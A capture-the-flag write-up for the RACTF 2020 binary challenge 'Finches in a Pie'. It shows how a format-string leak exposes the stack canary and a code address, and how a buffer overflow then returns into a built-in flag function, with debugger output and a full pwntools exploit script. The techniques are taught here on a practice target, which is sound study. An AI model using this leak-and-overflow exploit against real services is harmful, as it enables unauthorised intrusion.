RACTF 2020 / Published
Finches in a Pie
A format-string leak defeats the canary and PIE, then a buffer overflow redirects execution to a built-in flag-printing function.
Contents 4
Files 1
- Target
- i386
- RELRO
- Partial
- Canary
- Found
- NX
- Enabled
- PIE
- Enabled
There’s a service at xxx, exploit it to get the flag.
Challenge instance ready at
88.198.219.20:27813.
Binary protections and input behavior
Let’s start off by running checksec on the binary.
vagrant@ctf:/vagrant/challenges/ractf/Finches in a Pie$ checksec fiap
[*] '/vagrant/challenges/ractf/Finches in a Pie/fiap'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledOkay, a X86 ELF file with a canary, NX, PIE and partial RELRO. Let’s run it to get a better idea of what we’re dealing with.
vagrant@ctf:/vagrant/challenges/ractf/Finches in a Pie$ ./fiap
Oh my!
You NAUGHTY CANARY
You ATE MY PIE!
CATCH HIM!
You got him! Thank you!
What's your name?
123
Thank you, 123!
Would you like some cake?
123
Finding the format string and buffer overflow
The program asks for our name, repeats it back to us, and asks if we’d like some cake. Since our name is repeated back to us, there’s a chance that there might be a format string vulnerability. So let’s test for that.
vagrant@ctf:/vagrant/challenges/ractf/Finches in a Pie$ ./fiap
Oh my!
You NAUGHTY CANARY
You ATE MY PIE!
CATCH HIM!
You got him! Thank you!
What's your name?
%p
Thank you, 0xf7feada0!
Would you like some cake?
%pAh looks like we’re right! The name is interpreted as a format string, giving us a way to disclose values. The exploit below uses two leaks to recover the canary and an address within the program; it does not use a %n write. While we’re at it, let’s test if they’re performing proper bounds checking for the size of our input.
vagrant@ctf:/vagrant/challenges/ractf/Finches in a Pie$ ./fiap
Oh my!
You NAUGHTY CANARY
You ATE MY PIE!
CATCH HIM!
You got him! Thank you!
What's your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Would you like some cake?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)Locating the canary and PIE leak
Omegalul. Looks likes the second input might be vulnerable to a buffer overflow. Okay we’ve actually got a lot to work with. Before we write our exploit, let’s find the offsets of what we need to leak. So let’s open up gdb.
───────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x565562ee <say_hi+108> push eax
0x565562ef <say_hi+109> call printf@plt <0x56556030>
0x565562f4 <say_hi+114> add esp, 0x10
0x565562f7 <say_hi+117> lea eax, [ebp - 0x20]
───────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 565562ee say_hi+108
f 1 565563d9 main+113
f 2 f7df5e81 __libc_start_main+241
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 15
00:0000│ esp 0xffffcd44 —▸ 0xf7feada0 ◂— pop edx
01:0004│ 0xffffcd48 —▸ 0xf7e4436b (puts+11) ◂— add edi, 0x16dc95
02:0008│ 0xffffcd4c —▸ 0x5655628f (say_hi+13) ◂— add ebx, 0x2d71
03:000c│ 0xffffcd50 —▸ 0xf7fb2000 ◂— 0x1d4d6c
04:0010│ 0xffffcd54 ◂— 0x0
05:0014│ 0xffffcd58 ◂— '%p.%p.'
06:0018│ 0xffffcd5c ◂— 0x56002e70 /* 'p.' */
07:001c│ 0xffffcd60 —▸ 0x56557036 ◂— 'You ATE MY PIE!\n'
08:0020│ 0xffffcd64 —▸ 0xf7e9bf86 (setresgid+6) ◂— add eax, 0x11607a
09:0024│ 0xffffcd68 —▸ 0x56559000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ef4
0a:0028│ 0xffffcd6c ◂— 0xa7b41c00
0b:002c│ 0xffffcd70 —▸ 0x56559000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ef4
0c:0030│ 0xffffcd74 ◂— 0x0
0d:0034│ ebp 0xffffcd78 —▸ 0xffffcd98 ◂— 0x0
0e:0038│ 0xffffcd7c —▸ 0x565563d9 (main+113) ◂— mov eax, 0
pwndbg> canary
AT_RANDOM = 0xffffcfeb # points to (not masked) global canary value
Canary = 0xa7b41c00
Found valid canaries on the stacks:
00:0000│ 0xffffcd6c ◂— 0xa7b41c00Looks like we found the canary, and we’ve also got the address of main+113 to work with. Nice!
The displayed name buffer begins at 0xffffcd58, and the canary sits at 0xffffcd6c: a 20-byte distance. The later cake input uses a different buffer, with the canary 25 bytes from its start. These distances have different origins. The %11$p and %15$p selectors identify printf argument positions, not byte offsets within either buffer.
vagrant@ctf:/vagrant/challenges/ractf/Finches in a Pie$ nm fiap | grep flag
00001209 T flagAdditionally, we also found a helper function that prints the flag for us. How convenient!
Returning to the flag function
Ok so here’s the game plan:
-
First input: name
%11$p.%15$pleaks the canary andmain_runtime + 113. Computebase = leak - (main_offset + 113), thenret = base + main_offset + 127andflag = base + 0x1209. Settingelf.addressrebases pwntools symbols, so the script uses them without adding the base again.
-
Second input: cake
- Send payload:
<25 padding bytes><p32(canary) at 25><12 padding bytes><p32(ret) at 41><p32(flag) at 45>. Each packed value occupies four bytes. The return sequence uses oneretgadget beforeflag.
- Send payload:
With both leaks, we can build the separate cake payload shown above.
#! /usr/bin/python3
from pwn import *
HOST = '88.198.219.20'
PORT = 52692
BINARY = './fiap'
elf = context.binary = ELF(BINARY)
elf.symbols['ret'] = elf.symbols['main'] + 127
CANARY_OFFSET = 25
PAYLOAD_OFFSET = CANARY_OFFSET + 16
FMT_PAYLOAD = '%11$p.%15$p'
splash()
r = remote(HOST, PORT)
with log.progress('Stage 1: Leak canary and (main + 113)'):
r.recvuntil('What\'s your name?\n')
r.sendline(FMT_PAYLOAD)
r.recvuntil('Thank you, ')
leaked = r.recvline().decode().strip()[:-1]
canary, main_113 = [int(x, 16) for x in leaked.split('.')]
log.success(f'Leaked canary: 0x{canary:08x}')
log.success(f'Leaked (main + 113): 0x{main_113:08x}')
with log.progress('Stage 2: Generate ROP Chain'):
elf.address = main_113 - (elf.symbols['main'] + 113)
log.success(f'Calculated ELF base address: 0x{elf.address:08x}')
rop = ROP(elf)
rop.raw(p32(elf.symbols['ret']))
rop.flag()
log.success('Generated ROP Chain:')
log.success(rop.dump())
with log.progress('Stage 3: Pwn'):
r.recvuntil('Would you like some cake?\n')
r.sendline(flat({ CANARY_OFFSET: p32(canary), PAYLOAD_OFFSET: rop.chain() }))
log.success(f'Flag: {r.recvline().strip().decode()}')
r.close()Result
Flag: ractf{B4k1ng_4_p1E!}